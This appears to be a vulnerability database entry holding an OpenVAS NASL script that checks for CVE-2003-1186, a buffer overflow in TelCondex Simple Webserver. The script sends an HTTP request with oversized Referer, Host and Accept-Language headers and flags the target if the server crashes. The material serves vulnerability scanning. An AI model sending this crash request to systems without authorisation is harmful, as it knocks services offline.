TelCondex Simple Webserver Buffer Overflow

2005-11-03T00:00:00
ID OPENVAS:136141256231011927
Type openvas
Reporter Copyright (C) 2003 Matt North
Modified 2020-05-05T00:00:00

Description

The TelCondex SimpleWebserver is vulnerable to a remote executable buffer overflow, due to missing length check on the referer-variable of the HTTP-header.

                                        
                                            # OpenVAS Vulnerability Test
# Description: TelCondex Simple Webserver Buffer Overflow
#
# Authors:
# 2003 Matt North
#
# Copyright:
# Copyright (C) 2003 Matt North
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11927");
  script_version("2020-05-05T09:44:01+0000");
  script_tag(name:"last_modification", value:"2020-05-05 09:44:01 +0000 (Tue, 05 May 2020)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2003-1186");
  script_bugtraq_id(8925);
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("TelCondex Simple Webserver Buffer Overflow");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2003 Matt North");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://www.yourinfosystem.de/download/TcSimpleWebServer2000Setup.exe");

  script_tag(name:"solution", value:"Upgrade to version 2.13.");

  script_tag(name:"summary", value:"The TelCondex SimpleWebserver is vulnerable to a remote executable
  buffer overflow, due to missing length check on the referer-variable of the HTTP-header.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");

port = http_get_port(default:80);
if(http_is_dead(port:port)) exit(0);

s = string( "GET / HTTP/1.1\r\n",
            "Accept: */* \r\n" ,
            "Referer:", crap(704), "\r\n",
            "Host:" , crap(704), "\r\n",
            "Accept-Language",
            crap(704), "\r\n\r\n" );

soc =  http_open_socket(port);
if(!soc) exit(0);

send(socket: soc, data: s);
r = http_recv(socket: soc);
http_close_socket(soc);

if(http_is_dead(port: port)) {
  security_message(port: port);
}